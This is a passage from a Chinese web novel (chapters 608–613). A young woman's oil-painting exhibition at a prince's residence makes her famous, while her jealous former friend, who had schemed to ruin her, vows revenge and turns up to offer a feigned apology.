可是现在,不管是准备挑刺的,还是准备虚伪捧扬的,都只剩下由衷的,真诚的赞美,那不仅仅是发自内心,更像是发自灵魂。 武青瑾就这样僵在原地,她看看那些画,又看看乔枝枝,袖子下的手在微微颤抖着,脸色已经发白。 当大家七嘴八舌夸赞的时候,乔枝枝已经知道。这一扬画展,会大获成功。 这是镰儿带给她的,武青瑾也有功劳,因为正是她告诉她,目前盛行写实。 乔枝枝走向武青瑾,满脸的欢喜:“青瑾,你说写实,我就想着能够原模原样还原现实中的景物最好,所以换了一种风格,怎么样,没有让你失望吧。” 武青瑾看着那张雀跃的脸,只觉得有什么刺着她的心。 她努力地挤出一个笑容:“好啊,很好,只是你什么时候背着我学这些画,我竟然一点都不知道,枝枝,你瞒我瞒得好苦啊。” 乔枝枝愣了一下,她没有想到武青瑾会这样说,再看看武青瑾的表情,好像很不对劲的样子。 第608章 她喜欢的人也走向了乔枝枝 武青瑾却带着勉强的笑意,推开了她的手:“我以为你对我坦诚,原来你在背着我学这些好东西,现在你倒是要名扬京城了,而我——” 她的笑容发苦。 乔枝枝没有想到,武青瑾的反应会这样大。 虽然朋友之间需要真诚,但并不代表着什么事情都要说。 她本来以为,武青瑾会为她高兴,原来并不是她想象的样子。 乔枝枝真正意识到了不对劲。 她是一个聪明的姑娘家,也会揣摩人的心意,武青瑾的态度,更像是不愿意看到这样的局面,而不是她告诉不告诉的事情。 可既然如此,她为什么催着她办画展,还把地点定在广平王府? 她明明跟她说以写实为主,她做到了,她却是这样的形容。 难道——乔枝枝心中多了一个猜测。 武青瑾就不希望她好。 又想到那些写意画添加了笔墨之后,不但没有美感,反而比原先逊色了一大截。 乔枝枝的心渐渐凉了下来。 所有人都以为她只有十七岁,实际上她的心性多成长了两年,判断一个人或一件事,也比以前准确得多。 她认认真真地看着武青瑾:“青瑾,难道你不希望我画展成功吗?” 乔枝枝的双眸里,闪烁着一抹炯炯的亮光,好像洞察到了什么。 武青瑾只觉得这样的眼神,似乎看穿到了她的心底,让她浑身不自在。 乔枝枝从来没有用这种态度面对过她。 她的心一下子慌乱了几分:“你是我的朋友,我当然希望你画展成功了,只是你学到这么好的画画技巧,却从来没有告诉过我一声,我们是朋友,本来就是要相互进步的。” “这是一种创新突破,在展出之前,我不知道是会成功还是会失败,如果那时候就教了你,让你走歪了路子怎么办,现在大家的反应你也看到了,说明这个法子是可行的,我再教你也不迟啊,你何必这样不满。” “我——”武青瑾一句话都说不出来。 乔镰儿差点忍不住要给乔枝枝拍手称快,这个家里,乔枝枝亦是拥有一颗七窍玲珑心,只是她也是一个看重感情的人,前面可能也感到一点不对劲,可是因为信任武青瑾,所以就没有多想。 现在,心智比同龄人成长了两年,加上武青瑾表现得又有点明显,便识别了她的意图。 一个俊美的少年来到乔枝枝的面前,带着赞赏道:“这些画作仿佛在云天之外,梦境之中,无法想象得出来,虽说听来夸张了些,但这是在下的肺腑之言,此景此景,值得世上最好的赞美之辞,目睹一次,三生有幸。” 他拱手,谦逊道:“不知道可否向枝枝姑娘讨教一二。” 乔枝枝不认得他,正想着如何称呼,少年很快意识到这一点,道:“在下豫华公府三公子林松砚。” 乔枝枝看了乔镰儿一眼,乔镰儿明白她的意思,点头,这一门绘画技艺面世,自然是不能独享的,不然乔家要落得小气狭隘的名声。 不如开班收费,大大方方传授出去,再赚点材料费,乔枝枝能够成为一个先生,传授画技,也是她生涯的一大进展。 公平竞争,方见真本事,乔枝枝先学两年,也不怕打不过别人。 “林公子,你只管问。”乔枝枝道。 林松砚见这女孩子这样大方不俗,眼里更是赞赏,朝他最感兴趣的一幅画打了一个手势。 乔枝枝没有看武青瑾一眼,走了过去。 看到自己从小心仪的人主动接近乔枝枝,武青瑾的脸由白转青,委屈地咬紧了嘴唇。 这么多年来,林松砚都没有看她一眼,对她仅仅是止于礼貌,可是方才他看乔枝枝的目光,却闪烁着欣赏的光。 这样的眼神,仿佛在她的心头上扎刀子,让她又酸涩又嫉妒。 想不到,她好不容易争取来,想要毁掉乔枝枝的画展,反而成全了她。 没错,她就是看到乔枝枝天分高,隐隐有赶超自己的势头,起了警惕之心,明明,她从三岁就开始学画,还得到广平王和不少名流大家的指点,乔枝枝才学了三年,就要超过她,她怎么能看着这种事情发生。 可是,乔枝枝在画展上大放异彩,惊艳了众人,就连一直对她爱搭不理的林松砚,都对乔枝枝亲眼。 为什么,凭什么。 “武小姐,每个人都有自己的因果,或许我堂姐注定在京城扬名,你将她往前推了一大步。”身边一个平静的声音响起,武青瑾一看,是乔镰儿。 对方嘴角微勾,仿佛看了一扬笑话。 武青瑾突然意识到,乔枝枝对她没有那么多心思,怕是乔镰儿从中作梗,不然,怎么解释在一天多的时间之内,多了这么多不一样的画作,而且,看画风已经比较成熟了。 “枝枝的水平我知道,她也从来没有涉及这些画作,难道,是郡主画的。” 如果是这样的话,她马上揭露出来,让乔枝枝名誉扫地,不会让她有机会骑在她的头上,她要亲眼看着,林松砚眼里的光芒熄灭。 乔镰儿朝着另一个方向看去,意有所指。 武青瑾也循着她的视线看去,就见乔枝枝支起了一个画板,摆好了作画工具。 “钟姑娘,我给你画一幅像吧。” 钟姑娘是京城数一数二的美人儿,今日参加画展,也好生打扮了一番,光彩照人。 见识了乔枝枝的水平,那样高度的还原,犹如实景再现,牵动着人的心魄,乔枝枝这样一开口,她自然是心动不已。 “那就有劳枝枝姑娘了。” 乔枝枝将钟姑娘安顿在一张椅子上,又在她身侧摆了一支插花,指导她比了一个优雅又闲适的姿态。 然后她开始在画板上作画。 不是她有意卖弄自己,方才慕容舒提议,让她当众作画,接着其他人也开始响应,她就知道,大家还是信不过她,那就让大家服气。 镰儿似乎早就预料到这一点,竟然把工具箱都准备好了。 大家都想知道这样的画作是怎么诞生的,纷纷围了过来。 为了让所有人都能观瞻到,王府的下人还给后头的人加了蒲团垫子。 第609章 当众证明水平 武青瑾挤进人群,挤到广平王的身边,瞪着画板,除非亲眼看到,不然她不信。 乔枝枝是什么水平,她会不知道吗?突然这么大的进步和创新,几乎是不可能的事情。 广平王眼皮下垂,目光落在武青瑾脸上,又仿若无事地抬眼,继续看向画板。 乔枝枝将钟姑娘观察一番,就熟稔地起手,下笔利落流畅,只是偶尔看一眼钟姑娘。 时间缓慢流逝着,要作好一幅画,可不是几刻钟就可以完成的事情,但大家都很有耐心,眼睛一眨不眨地盯着。 大家还在观察那些工具,这样丰富的颜料,蓝有许多种蓝,红有许多种红,再细致精确的需要都可以满足。 可以说,乔枝枝能作出这些画,颜料是一个很关键的因素。 半个时辰过去,一个时辰过去,又是半个时辰。 画板上的人像逐渐生动鲜明起来,和钟姑娘达成高度的契合。等乔枝枝将画笔收起,起身让出位置,人像清晰无余地展露在所有人的视线中。 大家定睛看着,倒吸了一口凉气。 一模一样,真的是一模一样,乍一看,还以为是钟姑娘的半个身体卡在画板里呢。 每一根头发丝,镂空的裙摆,眼里的波光,唇上嫣红透光的口脂,羊脂玉一般的肤感,脸颊上的小绒毛,薄衫衣裙上的繁复花纹,甚至是隐约透出来的有层次感的内衬,无一不精彩呈现。 虽然大家已经从墙上悬挂的画作中见识过这样的水平,可是亲眼见到乔枝枝画出来,这种感觉,还是大为震撼。 “果然是真本事。”有人感慨道。 “虽然这些颜料没见过,有很大的助攻,但若是给了我,我也是画不出来的。” “是啊,这光影,这构图,这层次感,哪一样不需要专研学习。” “既然将钟姑娘画得跟真人一样,说明那些景物也是完全还原了,没有半点虚的。” “唉,真是天才,这样的独创,千百年来还是头一遭,从此以后,这片土地上,要多一种风格的画作了,一定会成为主流之一,枝枝姑娘就是开山祖师啊。” 听到开山祖师几个字,武青瑾只觉得心头被狠狠刺了一下,那种此生都追赶不上的无力和沮丧席卷了她,她万分懊恼,好好的,让乔枝枝办画展做什么啊。 蠢货,真想狠狠打自己几巴掌。 她现在也见识到乔枝枝的真本事了,这死丫头死死瞒着她,就怕她偷学,然后把她晾在一边大放异彩呢。 表面上跟她打成一片,亲密无间,背地里却是在欺骗她! 所有的酸楚,嫉妒,都转化成了暗黑的恨意。 想到乔枝枝就此大放异彩,功成名就,她的手指掐得掌心鲜血淋漓却浑然不觉。 保持一个姿势久了,钟姑娘一动才发现全身酸疼僵硬,乔枝枝将她扶起来:“钟姑娘,你也看看吧。” 钟姑娘感激地看了她一眼,这样的天分,这样的水平,却一点架子都没有,反而这样亲和。 看到画像,她第一时间是捂住了嘴,睁大了美眸,她还以为,大家说得神乎其乎,但最多画了她六七分的颜色和神采,可呈现在她眼前的,竟然是十分的还原。 甚至,她觉得乔枝枝的画作,比她本人还好看。 莫名一种感动直击心间,她现在大好年华,可是水墨画跟本人有很大的偏差,水墨主要是写意,回头再看想象的空间太大了,没有那种准确直观的感觉,现在,终于有画作可以留住她年轻时的模样。 她看向乔枝枝,眼里带上了一抹恳求:“枝枝姑娘,这画,我可以跟你买下来吗?” “钟姑娘,这是你的画像,也是我第一次当着大家的面作画,自然是要送给你的。” 说着将画板取下来,交给钟姑娘。 “谢谢,谢谢。”钟姑娘双手接过,如获至宝,感激不已。 乔枝枝有些感慨,本来,武青瑾曾是她最好的朋友,刚才她画的人该是她才是。 可是今天,她看到了武青瑾用心不纯。 再看武青瑾,她的脸色青黑交加,哪怕拼命克制着,但已经无法遮掩。 乔枝枝摇头苦笑,罢了,就当她从前瞎了眼睛,乔家的女儿,有镰儿的表率,岂会在这种不值得的事情上割舍不掉。 “大家亲眼作证,枝枝姑娘是有真本事的,京城竟出这样的画画天才,与诸位,你我同处一个时代,是大家的荣光哪,现在,请大家继续赏画,若是累了,便坐下喝茶。”广平王看了个满意,心情很高兴。 茶几上已经摆上了茶点,满室飘香。 那些来凑热闹的客人大饱眼福,过瘾了,倒是坐下了,但是痴迷画画的,要么是欣赏画作,要么是围着乔枝枝问来问去。 乔枝枝不嫌麻烦,有问必答,不适合回应的,她便委婉地搪塞过去。 比如颜料怎么来的,这样涉及秘密的问题,那就是镰儿从很远的地方买来的。 乔镰儿在茶案旁落座,裴时玖给她斟满茶,然后在对面坐下。 “这样的结果,你该放心了,不过,你事无巨细为乔家操劳,也是辛苦。” “我不得不辛苦,因为有的事情只有我能做到,这是他们力所不逮的。”乔镰儿脸色一片平静,仿佛早就习惯。 “开头,我带一带他们,后面的路,主要就靠他们自己了。” 如今,伯伯哥哥们已经完全熟悉军务,自己有了文化,还会进行阵法创新,她无需多费心。 乔枝枝踏上了坦途,以后只需自己精进。 伯母嫂子们,管理铺子井井有条,对业务很熟练,还培养了自己的人手。 牧星河只需要稳住,等着资历上来升职。 乔家人都是知道感恩的,又很听话,很团结,她带得顺心。 “对了,查出来了吗?” 裴时玖摇头:“武家没有任何问题,我猜,纯粹是武青瑾嫉妒你堂姐,想要给她使绊子,她今天叫来的那些人,大多是和她同一条心的,要么是她打过招呼的,不过幸好,你堂姐争气,将他们全部打服。” 第610章 南叔叔,你为我报仇 武家并不是大皇子那一派的人,和乔家也没有任何恩怨,更显得武青瑾的这一份嫉妒之心浓烈。 两年前,武青瑾就和乔枝枝交好,她相信一开始的时候,武青瑾是出自真心,可是到了后来,看到乔枝枝每日都在长进,而她停滞在原地,初心也变了。 作为好友,有共同的追求,总是少不了比较,良性的竞争有利于双方的进步,恶意的手段则害人害己。 广平王府准备好了晚宴,席间都是对乔枝枝的赞扬,不断有人跟她敬酒,她少喝了一点,都是以茶代酒。 “枝枝姑娘,我们平时可不可以去乔家跟你讨教这种油画的画法。”有人问道。 前面乔镰儿和乔枝枝已经商量过了,乔枝枝道:“欢迎之至,不过我要画画,没有太多的时间和精力不断招待客人,我打算开一个课堂,想要学习油画的,在规定的时间内到课堂上课,如此一来,大家都好安排。” “我把基本的技法教给大家,能够领悟到多少,就看大家自己。” 一听开课堂,大家都很乐意,如此一来,每个人听到的内容一样,起跑线也一样。 既然是开课堂,肯定是要收费了,但是他们最不缺的就是钱。 而且他们也支持乔枝枝收费,只有收费,才有更大的动力来教大家。 “乔先生,以后就有劳了,这种画意义重大,可以画出人最真实的面貌,可以像写文字一样把看过的风景记下来。”甚至有人已经提前喊先生。 “不妨收费贵一点,乔先生也多教一点,别跟大家客气。” 乔枝枝见大家说得这样直接,也是大大方方说:“好,准备些日子就开课堂,大家不嫌我画得拙劣,肯去捧扬,亦是我的荣光。” 所有人的注意力都在乔枝枝的身上,武青瑾忍无可忍离席。 不过就算是离席,也几乎没有人注意到她。 就连和她有交情的高门贵女公子,也满心想着学会油画,他们已经被乔枝枝俘虏。 只有慕容舒跟了出去。 广平王抬起眼皮看了一眼,脸上多了一抹严肃,他又怎么会不知道穆青瑾的想法。 这孩子从小心高气傲,尤其是在她擅长的画画上,想要风头出尽,不喜欢有人在她之上,现在乔枝枝引人注目,成为人中焦点,她当然接受不了。 “青瑾,你等等我。”慕容舒追上前去,抓住了武青瑾的手。 武青瑾停在原地,拳头攥了起来,双眼含泪。 “你跟着我出来做什么,你们个个都想要学那劳什子油画,至于和我的交情,早就被你们抛到了九霄云外。” 她转头一看,真的只有慕容舒一个人,眼泪终于还是掉落。 请来那么多人,是为了毁掉乔枝枝,而不是为了成全她。 为什么事情会是这样的局面?她感到胸口腥气翻涌,一个倾身吐出一口鲜血。 慕容舒听到那样的话本来很生气,见武青瑾气得要死要活,赶紧拿出帕子替她擦拭嘴角边的血迹。 “我才不想学呢,我是真心把你当朋友,不然我会随时关心你的状态?不过青瑾,这一次的确算是你成全了乔枝枝,你是完全不知道,她藏拙了。” 想到这件事,武青瑾只觉得喉咙间腥气更浓,她的眼眸闪烁着冰冷的光,夹杂着森然的恨意。 “是的,她一直在骗我,一直在藏拙,你看看她的技法,没有几年的辛苦训练怎么可能,可是她从来没有告诉我,她还会画油画。” “我好不容易给她争取展示画作的机会,想让她小小出一个头,好为以后铺路,结果她拿出了这样的利器,名扬整个京城,把我衬托得犹如尘埃,她是故意要踩在我的头上,故意要在我的面前耀武扬威,还以为她真诚待我,想不到这样恶毒,这样狠心。” “真是个贱人。”慕容舒听了也忍不住大骂:“你们两年前认识,两年来她都没有跟你透露只言片语,就是有心瞒着你,想等哪一天机会到了,把你踩到泥坑里。” “现在所有人的注意力都在她的身上,还不知道有多少高门贵公子暗恋她呢,还有林松砚也在偷偷看她,明明你长得比她漂亮,一个个瞎了眼睛,一个偏远山沟沟来的毛丫头有什么好。” 武青瑾听着这些话,心中恨怨翻涌,闭着眼睛拼命克制着情绪。 她之所以受到这么大的打击,不仅仅是因为乔枝枝一下子扬名,她中意的人,目光也完全被乔枝枝吸引了去,甚至她怀疑乔枝枝早就看上了林松砚,趁着这个机会勾引他呢。 “瑾丫头。”一个声音在后面响起,带着几分威严。 武青瑾身体一震,转过头去,看到了广平王。 她的泪水决堤,飞扑过去,抓住了广平王的衣袖,嚎啕大哭。 “南叔叔,你看到了吗?乔枝枝出名了,所有人都看不到我了,乔枝枝一直在骗我,枉我这两年来把她当成朋友。” 见武青瑾竟然是这样的想法,广平王皱起了眉头。 “你怎么能这样想,她今天拿出一种有突破创新的画作,让众人惊艳,大家看了个新奇,注意力当然在她身上了,又不是说你就画不好,又不是否认你画作的价值,你沉下心来好好练,待二三十年后,也是一个名流大家。” “二三十年?”武青瑾的心要崩溃了:“可是我辛辛苦苦二三十年得到的,甚至远不如此刻乔枝枝的盛况。” “瑾丫头,你的态度没有摆正,观念也有问题,画画你要超越的是自己,你一年比一年进步,就是好事,你要完成的,是你人生的成就和理想,而不是一心想着去打败别人。” 看到广平王如此义正辞严,武青瑾被噎住。 她不肯承认自己是被嫉妒心驱使,是不想看到别人比她好,搜索枯肠挤出一句话:“以后的事情我不管,我不能接受乔枝枝骗我,利用我,南叔叔,你从小就宠我,你为我报这个仇。” 第611章 你们无情,就别怪我无义 广平王厉声,让武青瑾一个哆嗦,愣愣地看着前面的长辈。 “南叔叔。” “每个人都有自己的秘密,哪怕是家人,也有相互隐瞒的地方,只要不对彼此造成伤害,也就无可厚非。” “你们仅仅是朋友而已,就要乔家姑娘什么都对你和盘托出,这不现实,况且她今天拿出的画作在之前从来没有出现过,万一今天展出带来的不是赞扬,而是被嘲笑,你提早学了去,对你又有什么好处。” “你今天的态度,本王全程看在眼里,乔家姑娘又怎么会不知道,你去跟她道个歉,握手言和,相信以你们的交情,她会教你比别人更多的东西,你的进步会比别人快。” 武青瑾不敢相信地看着广平王,慢慢松开了他的手臂。 “南叔叔,乔枝枝伤害我,欺骗我,明明是她的不对,你居然要我去跟她道歉,你们也才刚认识,你就这样顾着她,难道你也像其他人一样,觉得她才华横溢,是天才,所以欣赏她,向着她。” 她又委屈又失望,仿佛这么多年来,都是看错人了。 广平王只觉得心中腾地升起一股怒火:“本王这是为了你好,要把你的心思扳正了来,你看看你都想到哪里去了?既然枝枝姑娘有这么好的表现,你该多向她学习,而不是只顾着比较,乱了你的心智。” “她骗我,她骗我,她骗我!”武青瑾再也控制不住自己的情绪,歇斯底里地嚷道。 广平王此刻感到武青瑾的不可救药,他苦口婆心,武青瑾却踏入了妄念,满心的不甘怨恨,不能摆脱。 以前他只是觉得,武青瑾仗着他的宠爱,有些任性而已,可是现在看来,原来他还是不够了解武青瑾的心性。 或许,现在这个样子的她,才是真实的她。 广平王忍无可忍,指着大门外:“出去,除非你自己想通了,不然不要再出现在本王的面前。” 见广平王居然赶她走,武青瑾不敢相信地睁大了眼睛。 “南叔叔,你也不要我了,嫌弃我了?就为了那个乔枝枝,难不成,你还想认她做你的干女儿。” 她气得五官都扭曲,浑身颤抖都要站不住。 慕容舒在一旁,暗示她不要再说下去了,可是她完全没有看到。 广平王已经不想多说,吩咐管家:“让人把武小姐送回去吧。” 说完转身离去,不再多加理会。 管家招来了一队人,他来到武青瑾的跟前,打了一个请的手势,脸上带着不悦:“武小姐,王爷毕竟是王爷,而且说的话是为了你好,你的态度未免僭越了,还从来没有人敢在王爷的跟前这样大喊大叫。” “滚开,滚开,不要你们送,我自己回去,这个地方我再也不来了,你们一个个都在骗我,乔枝枝在骗我,广平王也在骗我,谁也没有真的把我放在心上。” “你们无情,就别怪我无义。” 武青瑾挥舞着手,往前快步冲了几步,再也承受不住,踉跄着摔倒在地上,晕了过去。 管家冷着脸,又喊了两个婆子,拖着武青瑾回去。 乔镰儿离席解手,见这里有情况,就隐身过来,从头到尾看了个遍。 武青瑾本来是要毁掉乔枝枝的,现在却让她名动京城,这样巨大的落差,让她完全消化不了,生生把自己给气倒了,也真是好笑。 本来,武青瑾有一条更好的路可以走,正如广平王所说的,凭着她和乔枝枝之间的交情,让乔枝枝传授她更多的东西,毕竟所有的人也才开始准备学油画,武青瑾近水楼台,是有很大的优势的。 可是武青瑾的心,被嫉妒所扭曲。 以及,继续和广平王保持良好的关系,广平王可是亲王,能够被他当做亲生女儿看待,这又是地位上的一大优势,学到了真东西,火候上去了,想在这里办多少次画展出名露面不行? 可武青瑾用私情要挟广平王,要广平王公报私仇,广平王是个公正的人,如何能够依她,她不得逞,居然对广平王如此无礼,放出狠话,要割断和广平王之间犹如父女的感情。 可以说武青瑾走了一步臭棋烂棋,她只一心想着压人一头,至亲好友,通通都不认。 人各有自己的因果,乔镰儿吁了一口气,回了席间。 天快要黑的时候,宴席散了,乔家姐妹和大家告别。 乔枝枝敏锐地捕捉到,人群中有一双眼睛带着灼热,不过对方还算有礼貌,并不会死死盯着她瞧。 只是落到她脸上的时候,那种浓烈她能够感受到。 两年前她就知道,武青瑾喜欢林松砚,现在她和武青瑾朋友是做不成了,但是她也不想和她在意过的人有什么瓜葛。 马车驶在回去的路上,乔枝枝心情虽好,但想到武青瑾的算计,还是有那么几分不爽。 “镰儿,你早就在怀疑武青瑾了是不是。” 乔枝枝现在想到,镰儿让她不要动那些水墨写意画,后面又教她学水墨画,应该是在防着武青瑾了。 乔镰儿也不瞒着她,把前后详细与她说了,乔枝枝沉默着,只是握紧了乔镰儿的手。 “我无知无觉,以为别人是真心为我好,好在有镰儿,否则今天我一定受尽批评和嘲笑,以后怕是再也没有信心作画。” 原先也只是猜测,现在,她更清楚地知道,武青瑾是怎么谋算她的。 那些请来的人,大多和武青瑾有交情,就等着践踏她的自尊心,把她踏入泥泞,让她再也爬不起来 这些步骤,真是让人触目惊心。 包藏祸心,一步步引导,誓要将她引向死路,口口声声知交好友,竟然是这样的真面目。 乔枝枝笑了,原本心中的一抹苦涩,现在已经荡然无存,只剩下了决绝的冷意。 原本只是觉得做不成朋友,现在,是犹如仇人的存在。 乔枝枝在广平王府画展成名,这个消息也传到了乔家,他们还没有反应过来呢,门口已经来了不少人,说要买画作。 第612章 一夜之间成为富婆 “二夫人,你们夫妻是如何培养出这样优秀的女儿,也教一教我们心得呗。” 有人虚心跟万氏讨教。 万氏没有想到,她这一辈子,还有被人这么恭敬对待的一天。 “是咱们家里有镰儿,也是枝枝自己努力,争气,我哪里懂画画呀。”万氏回答得很朴实。 大家想到差点忽略了一个人,就是郡主,是的,乔枝枝这样的开创,太惊艳太不可思议了,一般人根本就难以做到。 乔家能有今天,主要是乔镰儿的功劳,怕是她对乔枝枝的助力也不小。 但是不管怎么样,乔枝枝也是真的学到了,在广平王府当着那么多人的面做画,让所有的怀疑都烟消云散。 那些展出的,的的确确就是她的作品。 万氏想起来,有一天半的时间,乔枝枝在自己的房间里没有出来,都是乔镰儿给她送饭,难道就是为了这一次展出做准备。 她还以为女儿任性,原来是在下一盘大棋。 姐妹俩回来了,客人们立刻从暖阁出来,围上了两人。 乔镰儿不想抢了乔枝枝的风头,就借故走开了。 “枝枝姑娘,你的油画画得太好了,我们是来跟你买画的。” “听说你还要开课室招徒,我们可不可以先报个名。” 这一次送去广平王府展出的画,都没有带回来,广平王希望在展室放上一个月,让更多的人观瞻。 这对于乔枝枝来说是好事,她自然是应了下来。 目前手头还有上百幅不错的油画。 只是怎么定价,她还没个主张,就去找乔镰儿商量。 “不能定太低,现在你的画作得到大家的认可,证明价值不菲,只有定一个高一点的价位,才能符合大家的预期,不然,可能会被人看轻。” 乔镰儿斟酌一下:“根据画作时间的长短,大小,以及技巧的难易程度,定一百两到一千两之间吧,以后水平提升了,再往更高的价定。” 来求画的,要么是高门,要么是富商,拥有八辈子都花不完的财富,听说低的只要一百两,高的也不过一千两,纷纷表示要十幅起买。 对于初出茅庐的新人来说,这个价其实不算低,但乔枝枝的画作一出世就惊艳了众人,定这种价位很顾及大家了。 既体面,又没有趁这个机会大捞钱财,很是拉人好感。 见家里出了一个大画家,乔家人都是满心激动,一桌子酒菜摆好也顾不上吃,都来帮着一起卖画。 等到把那些画作摆上来,客人们一下子蜂拥上前。 “我先选,你们别推我呀,我在前面。” “我先来的,也该我来挑。” 乔镰儿让护卫把大家拦了一个安全距离,又写了纸条放到一个箱子里,让大家摸顺序,然后按照顺序来。 这样一来,也就没有什么异议了。 有的人一开口就要二十几幅,排在后头的人慌了:“秦公子,你少买一点,不然轮到我们就没有了。” “是啊,总不能让我们白白排队吧。” 乔镰儿道:“实在是人来得有点多,为了大家都有份,每个人最多买五幅吧。” “过一段时间又有画了,到时候大家再来买,技艺更加精进。” 于是,大家再心痒难耐,也只能忍痛只要五幅,即便如此,到了最后,还是有好几个人买不到画。 他们又不想白来,想着乔枝枝的水墨写意也还不错,图她的名头,干脆买她的水墨画。 水墨画一幅五十两,前面的人也来哄抢,三百多幅都卖光了。 这一个晚上,乔枝枝所有拿得出手的画作都已经出掉,水墨画卖了一万五千两,油画卖了五万两,共计六万五千两。 乔枝枝拿着沉甸甸的银票,看着前面一箱一箱的白银,有一种不真实的感觉,现在她终于体会到,为什么那么多专攻画画的人想要名扬天下了。 一旦出名,身价就会水涨船高,只等着麻袋捡钱。 今天,她不但有了名声,还成了富婆。 乔枝枝要把这些银票都给乔镰儿,没有镰儿,哪里有她现在。 乔镰儿摇头,推回了乔枝枝的手:“枝枝姐,最主要是你努力的结果,是你自己走出来的路,以后还要靠你一个人走,这是你应得的。” “我只是提供一些辅助,要是你不愿学,不愿用心钻研,神仙来了都没用。” 空间里的两年,乔枝枝日以继夜,全身心都搭了上去,现在这样的结果,并不意外。 “镰儿,虽然你不肯要,但是是你成全了我,我会永远记得。”乔枝枝郑重地说。 现在,那些高门贵族对她都是尊敬和欣赏的态度,乔家人看她的眼神也都是自豪。 她也成了一个被人视作骄傲的人。 “什么,一晚上卖了六万多两。”武青瑾从昏迷中醒来,就听到了这个消息。 “有没有搞错,那些画有这么值钱吗?” “唉,在广平王府成名以后,乔枝枝的身价也跟着水涨船高,原来一文不名的,今晚却有很多人挤进乔家去求画。”慕容舒一直在守着武青瑾,她的语气里,也是夹杂着一抹酸味。 “最好的画作还在广平王府,据说要展出一个月呢,其他的画得好的,画得不好的,也都拿出来卖,全卖光了,包括并不亮眼的水墨画,也卖出了三百幅。” 武青瑾笑了起来,笑得胸口发疼。 “贱人的水墨画还比不上我,居然卖了三百幅,太好笑了,那些贵人富人都是傻子吗?竟然去跟她买水墨画。” “没办法,如今有了身价,旁人看乔枝枝的画,哪怕是不算突出的水墨画,都要比别人好上几分,说不定还觉得是大家的水平呢。”慕容舒一脸的无奈:“青瑾,她真的成功了,先是瞒着你,然后借着你给的这一次机会,踩着你的头,享尽赞美,大赚特赚。” 武青瑾浑身发抖,女儿家大多都是要嫁人的,她本来想让画画成为她傍身的一个专长,以后不用那么受制于人。 现在乔枝枝风头无限,她如何还能发光发热? 第613章 黄鼠狼登门道歉 “她践踏我的人格,出名捞利,我怎么能够放过她,怎么能够看着她舒坦。” “既然她有今天是因为我,那便让我来毁了她。”武青瑾的眼底一片阴郁。 “青瑾,那你打算怎么做。” 武青瑾抓住了慕容舒的手:“阿舒,不管怎么样,你都会站在我这边是吧。” “我们从小就是朋友,我当然会帮你了,我们才是真正的至交好友,乔枝枝就是个白眼狼,当面一套背面一套。” 武青瑾眯起了眼睛:“那就让她再也作不了画。” “不过在此之前,我还是得演一演戏,反正,她也在我面前演过,很公平。” 接下来,乔枝枝要准备开课堂的事。 她打算在乔家的附近,买一个宽敞的大门面,改造成课室。 “镰儿,我卖画有钱了,家里一分都不用出。”乔枝枝说。 “好,不过我可以给你设计规划一下,让课堂看起来更有意思。” “嗯,镰儿最好。” 京城好地段,除非遇到什么变故,不然几乎没有人愿意挂牌售卖铺楼,毕竟,一铺养三代,京城甚至可以养八代。 这种时候,想要盘下一个门面,只有开出令人心动的价格。 找来找去,中心主大街上,有一个大门面做皮具的,生意冷清,距离乔家一刻多钟的距离,乔枝枝看着中意,但是老板不想卖。 “我换一门营生就是啦。”老板摆摆手:“在这样的地段,不可能真的做不起来。” 他看着姐妹二人,似笑非笑:“我说,你们两个毛丫头看到我没生意,就想盘我的店,也真会打算。” “这不是给老板您排忧解难吗?我们给高价,您到别处盘一个好的,改变一下风水气运,说不定不管卖什么都财源滚滚。”乔镰儿道。 “高价,高到哪里去?”老板瞥她一眼。 “这样吧,市价上,再高二成。” “不行。”老板摇头:“我家的这铺,可是传了五代了,就高这么一点,我是不可能卖的。” “那高三成,很少见到这么高的,我们已经是很有诚意了。”乔镰儿皱了一下眉头。 等于十两就加三两,溢价太大。 老板似乎有点犹豫,这证明他心动了。 不过,这还不能让他果断做出决定,他正要开口加价,两个结伴逛街的高门贵女看到乔枝枝,开开心心地迎了上来。 她们先对乔镰儿见了礼,然后围着乔枝枝,热情道:“枝枝姑娘,你这是盘门面开课室了,大概什么时候可以开课,我们可要早一点来报名,免得抢不到座位。” “还在找门面,先盘下来再说吧。”乔枝枝说。 那个老板不知道什么时候已经站起身来,看看乔镰儿,又看看乔枝枝,脸上带着激动。 “这位是飞鸾郡主,这位是大画师枝枝姑娘。” 得到了肯定的答案,老板搓着手,满脸通红:“我佩服飞鸾郡主的聪明才智,也敬重枝枝姑娘这样的画画天才,既然是您二位来了,那我也不好坐地起价。” “这样吧,加一成价就卖给你们,我折腾来去,也是要成本的呢,另外,能不能请枝枝姑娘送我一幅画,油画。” 出名好处就是多,乔枝枝深刻感受到了,不然,可能要多付出四五成的价钱,可是现在,一幅油画就可以抵消这个差距。 “可以,我刚用一个晚上的时间画出一幅,就送给老板吧。”乔枝枝痛快答应下来。 因为是她成名后的第一幅画,更加追求精益求精,所以要求提高了不少,到了老板的手上,也是可以待价而沽的,说不定哪天出手,赚的比让出的利要多不少。 既然是生意人,又怎么会吃亏。 乔枝枝让人回去取来了画,昨晚才画好,表面需要三五天才会干燥,她给老板交代了一些注意事项。 老板听得很认真,频频点头,捧着一大个画板,爱不释手,心想真是值得啊。 门面就这样愉快地成交,房契地契到手,花去二万一千两。 乔枝枝拿着契书,心中有一种踏实的感觉,从在广平王府成名,她拥有越来越多属于她自己的东西,荣誉,财富,产业—— 镰儿对她的大恩,说是再造也不为过。 这个门面还带一个宽敞的后院,乔镰儿将前后好好观察了一番,心中就有了打算。 她让人找来纸笔,哪里需要怎么布置,都在纸上详细规划,很快就弄好了,交给柴管家去办。 只要人手足够,东西采买及时,只用几天的时间,就可以开课。 想要学油画的人多,这几天,画板颜料调色盘画笔就卖去了不少,这些是乔镰儿拿出来的,自然是全归乔镰儿。 让乔家人没有想到的是,武青瑾登门来了。 武青瑾的真面目已经透露,乔镰儿不可能让乔家人蒙在鼓里,像这样危险的存在,自然是要每个人都知道,才好防范。 所以,武青瑾被柴管家拦在了门外。 “武小姐,枝枝姑娘正在忙碌,没有时间见你,你请便吧。”柴管家冷冷道。 枝枝姑娘将这人当成至交好友,这人居然想要毁了她,实在是人心叵测,防不胜防。 看柴管家这样的态度,武青瑾就知道,有的事情,整个乔家上下都知道了。 果然乔枝枝功成名就,就完全不顾和她从前的情谊,要当着所有人的面和她断绝关系。 是啊,她什么都拿到了,还用得着顾忌什么呢。 乔枝枝比她狠毒多了。 她垂下了头:“我对不起枝枝,想跟她道个歉,就算她不能原谅我,知道我这一份心意也是好的,麻烦一下管家。” 